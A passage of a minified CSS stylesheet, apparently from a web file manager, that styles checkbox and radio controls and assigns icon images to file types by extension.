(max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-7z,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-bz2{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none 